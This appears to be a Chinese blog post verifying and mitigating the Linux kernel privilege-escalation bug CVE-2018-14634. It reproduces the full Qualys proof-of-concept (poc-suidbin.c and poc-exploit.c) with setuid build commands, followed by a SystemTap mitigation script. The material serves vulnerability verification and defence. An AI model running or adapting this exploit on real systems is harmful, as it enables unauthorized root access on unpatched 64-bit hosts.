美文网首页
CVE-2018-14634(Mutagen Astronomy

CVE-2018-14634(Mutagen Astronomy

作者: ShadowHorse | 来源:发表于2018-09-29 00:23 被阅读577次

    CVE-2018-14634(Mutagen Astronomy)漏洞及修复验证

    1.漏洞背景

    该漏洞于2018-09-25发布,在linux内核的create_elf_tables()函数中发现一个整数溢出漏洞。
    非特权本地用户可以利用具备SUID(或其它权限)权限的二进制文件在系统上利用该漏洞进行提权。
    严重程度为:高

    2.影响版本

    该漏洞仅影响64位Linux操作系统,涉及Kernel版本:2.6.x、3.10.x、4.14.x,目前确定影响的操作系统为CentOS和RedHat,Red Hat Enterprise MRG 2 、Red Hat Enterprise Linux 6

    https://nvd.nist.gov/vuln/detail/CVE-2018-14634

    3.漏洞验证

    我们利用execve()执行一个SUID-root的二进制文件,其中包含0x80000000的"item",大约0x80000000 * sizeof(char *) = 16GB的参数指针,16GB的参数字符串,16GB的环境串。 我们的exploit仅需要 2 * 16 = 32GB的内容,不需要3倍或4倍,因为我们利用了一些技巧减少内存的占用(例如我们利用16GB的参数指针替换为等效的文件支持的映射,而不消耗内存)。

    利用函数create_elf_tables()整数溢出。PoC在这中情况下,执行SUID-root二进制文件(poc-suidbin.c)的main()。

    poc-suidbbin.c

    # gcc -O0 -o poc-suidbin poc-suidbin.c
    # chown root poc-suidbin
    # chmod 4555 poc-suidbin

    /*
    * poc-suidbin.c for CVE-2018-14634
    * Copyright (C) 2018 Qualys, Inc.
    *
    * This program is free software: you can redistribute it and/or modify
    * it under the terms of the GNU General Public License as published by
    * the Free Software Foundation, either version 3 of the License, or
    * (at your option) any later version.
    *
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    *
    * You should have received a copy of the GNU General Public License
    * along with this program.  If not, see <http://www.gnu.org/licenses/>.
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define die() do { \
      fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
        exit(EXIT_FAILURE); \
    } while (0)
    
    int
    main(const int argc, const char * const * const argv, const char * const * const envp)
    {
       printf("argc %d\n", argc);
    
        char stack = '\0';
        printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);
    
        #define LLP "LD_LIBRARY_PATH"
        const char * const llp = getenv(LLP);
        printf("getenv %p %s\n", llp, llp);
    
        const char * const * env;
        for (env = envp; *env; env++) {
         if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
             printf("%p %s\n", *env, *env);
         }
        }
        exit(EXIT_SUCCESS);
    }
    

    poc-exploit.c

    gcc -o poc-exploit poc-exploit.c time ./poc-exploit

    /*
     * poc-exploit.c for CVE-2018-14634
     * Copyright (C) 2018 Qualys, Inc.
     *
     * This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program.  If not, see <http://www.gnu.org/licenses/>.
     */
    
    #include <limits.h>
    #include <paths.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/resource.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    #define MAPCOUNT_ELF_CORE_MARGIN        (5)
    #define DEFAULT_MAX_MAP_COUNT   (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
    
    #define PAGESZ ((size_t)4096)
    #define MAX_ARG_STRLEN ((size_t)128 << 10)
    #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
    
    #define die() do { \
        fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
        exit(EXIT_FAILURE); \
    } while (0)
    
    int
    main(void)
    {
        if (sizeof(size_t) != sizeof(uint64_t)) die();
        const size_t alpha = 512;
        const size_t sprand = 8192;
        const size_t beta = (size_t)9 << 10;
        const size_t items = (size_t)1 << 31;
        const size_t offset = items * sizeof(uintptr_t);
    
        #define LLP "LD_LIBRARY_PATH=."
        static char preload_env[MAX_ARG_STRLEN];
      {
        char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
        char * cp = preload_env + sizeof(preload_env);
        size_t n;
        for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
            size_t i;
            for (i = n; i; i--) {
                *--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
                cp -= sizeof(LLP)-1;
                memcpy(cp, LLP, sizeof(LLP)-1);
            }
        }
        memset(sp, ':', (size_t)(cp - sp));
        if (memchr(preload_env, '\0', sizeof(preload_env)) !=
                        preload_env + sizeof(preload_env)-1) die();
      }
        const char * const protect_envp[] = {
            preload_env,
        };
        const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
        size_t _protect_envsz = 0;
      {
        size_t i;
        for (i = 0; i < protect_envc; i++) {
            _protect_envsz += strlen(protect_envp[i]) + 1;
        }
      }
        const size_t protect_envsz = _protect_envsz;
    
        const size_t scratch_envsz = (size_t)1 << 20;
        const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
        if (scratch_envsz % MAX_ARG_STRLEN) die();
        static char scratch_env[MAX_ARG_STRLEN];
        memset(scratch_env, ' ', sizeof(scratch_env)-1);
    
        const size_t onebyte_envsz = (size_t)256 << 10;
        const size_t onebyte_envc = onebyte_envsz / 1;
    
        const size_t padding_envsz = offset + alpha;
        /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
        const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
        static char padding_env[MAX_ARG_STRLEN];
        memset(padding_env, ' ', sizeof(padding_env)-1);
        static char padding_env1[MAX_ARG_STRLEN];
        if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
    
        const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
        if (envc > MAX_ARG_STRINGS) die();
    
        const size_t argc = items - (1 + 1 + envc + 1);
        if (argc > MAX_ARG_STRINGS) die();
    
        const char * const protect_argv[] = {
            "./poc-suidbin",
        };
        const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
        if (protect_argc >= argc) die();
        size_t _protect_argsz = 0;
      {
        size_t i;
        for (i = 0; i < protect_argc; i++) {
            _protect_argsz += strlen(protect_argv[i]) + 1;
        }
      }
        const size_t protect_argsz = _protect_argsz;
    
        const size_t padding_argc = argc - protect_argc;
        const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
                       protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
        const size_t padding_arg_len = padding_argsz / padding_argc;
        /***/ size_t padding_arg_rem = padding_argsz % padding_argc;
        if (padding_arg_len >= MAX_ARG_STRLEN) die();
        if (padding_arg_len < 1) die();
        static char padding_arg[MAX_ARG_STRLEN];
        memset(padding_arg, ' ', padding_arg_len-1);
        static char padding_arg1[MAX_ARG_STRLEN];
        memset(padding_arg1, ' ', padding_arg_len);
    
        const char ** const envp = calloc(envc + 1, sizeof(char *));
        if (!envp) die();
      {
        size_t envi = 0;
        size_t i;
        for (i = 0; i < protect_envc; i++) {
            envp[envi++] = protect_envp[i];
        }
        for (i = 0; i < scratch_envc; i++) {
            envp[envi++] = scratch_env;
        }
        for (i = 0; i < onebyte_envc; i++) {
            envp[envi++] = "";
        }
        for (i = 0; i < padding_envc; i++) {
            if (padding_env_rem) {
                envp[envi++] = padding_env1;
                padding_env_rem = 0;
            } else {
                envp[envi++] = padding_env;
            }
        }
        if (envi != envc) die();
        if (envp[envc] != NULL) die();
        if (padding_env_rem) die();
      }
    
        const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
        const size_t filemap_nptr = filemap_size / sizeof(char *);
        char filemap_name[] = _PATH_TMP "argv.XXXXXX";
        const int filemap_fd = mkstemp(filemap_name);
        if (filemap_fd <= -1) die();
        if (unlink(filemap_name)) die();
      {
        size_t i;
        for (i = 0; i < filemap_nptr; i++) {
            const char * const ptr = padding_arg;
            if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
        }
      }
      {
        struct stat st;
        if (fstat(filemap_fd, &st)) die();
        if ((size_t)st.st_size != filemap_size) die();
      }
    
        const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (argv == MAP_FAILED) die();
        if (protect_argc > PAGESZ / sizeof(char *)) die();
        if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
      {
        size_t argi = 0;
      {
        size_t i;
        for (i = 0; i < protect_argc; i++) {
            argv[argi++] = protect_argv[i];
        }
      }
      {
        size_t n = padding_argc;
        while (n) {
            void * const argp = &argv[argi];
            if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
                if (padding_arg_rem || n < filemap_nptr) {
                    if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
                } else {
                    if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
                    argi += filemap_nptr;
                    n -= filemap_nptr;
                    continue;
                }
            }
            if (padding_arg_rem) {
                argv[argi++] = padding_arg1;
                padding_arg_rem--;
            } else {
                argv[argi++] = padding_arg;
            }
            n--;
        }
      }
        if (argi != argc) die();
        if (argv[argc] != NULL) die();
        if (padding_arg_rem) die();
      }
    
      {
        static const struct rlimit stack_limit = {
            .rlim_cur = RLIM_INFINITY,
            .rlim_max = RLIM_INFINITY,
        };
        if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
      }
        execve(argv[0], (char * const *)argv, (char * const *)envp);
        die();
    }
    

    附:自行搭建虚拟机,验证环境漏洞,验证失败,执行返回已被杀死,考虑可能是exploit对机器内存有要求,需要大于32GB,才能利用该exploit,不知道能不能改成利用小点的内存?估计不能,否则作者也不会挑选2*16GB了

    run_poc_exploit_failed.png

    4.漏洞缓解措施

    第一步:在主机上,以后缀名.stp保存以下内容为文件

    // CVE-2018-14634
    //
    // Theory of operations: adjust the thread's # rlimit-in-effect around
    // calls to the vulnerable get_arg_page() function so as to encompass
    // the newly required _STK_LIM / 4 * 3 maximum.
    
    // Complication: the rlimit is stored in a current-> structure that
    // is shared across the threads of the process. They may concurrently
    // invoke this operation.
    
    function clamp_stack_rlim_cur:long ()
    %{
      struct rlimit *rlim = current->signal->rlim;
      unsigned long rlim_cur = READ_ONCE(rlim[RLIMIT_STACK].rlim_cur);
    
      unsigned long limit = _STK_LIM / 4 * 3;
      limit *= 4; // multiply it back up, to the scale used by rlim_cur
    
      if (rlim_cur > limit) {
        WRITE_ONCE(rlim[RLIMIT_STACK].rlim_cur, limit);
        STAP_RETURN(limit);
      } else
        STAP_RETURN(0);
    %}
    
    probe kernel.function("copy_strings").call
    {
      l = clamp_stack_rlim_cur()
       if (l)
         printf("lowered process %s(%d) STACK rlim_cur to %p\n",
                execname(), pid(), l)
    }
    
    probe begin {
    printf("CVE-2018-14634 mitigation loaded\n")
    
    }
    
    probe end {
    printf("CVE-2018-14634 mitigation unloaded\n")
    }
    

    第二步:安装“systemtap”包和所需要的所有依赖。安装参考Red Hat Linux
    "SystemTap Beginners Guide"文档中的第二章节 Using SystemTap

    第三步:以Root运行命令:stap - g [filename-from-step-1].stp

    第四项:如果系统重启,则上述的修改则丢失,需要重新运行脚本。

    如果采用kernel module方式运行脚本,需要在一个开发系统上构建该脚本:"stap -g -p 4 [filename-from-step-1].stp",分发该module到所有受影响的系统,运行"staprun -L <module>" 。 这样操作的话,被分发的系统只需要systemtap-runtime包,但是kernel版本需要一致。

    参考:

    https://seclists.org/oss-sec/2018/q3/274
    https://www.anquanke.com/post/id/160762
    https://access.redhat.com/security/cve/cve-2018-14634

    微信公众号:https://mp.weixin.qq.com/s?__biz=MzUzNzYwMjA4NQ==&mid=2247483669&idx=1&sn=a5acd03e09eb6d83ae6cefc93c1707fd&chksm=fae5305fcd92b94905287b6f95914a1d6bdb698c5d2edc87a1da5cb460d127c34a8bd43f7e30&token=1427536961&lang=zh_CN#rd

    相关文章

      网友评论

          本文标题:CVE-2018-14634(Mutagen Astronomy

          本文链接:https://www.haomeiwen.com/subject/qvomoftx.html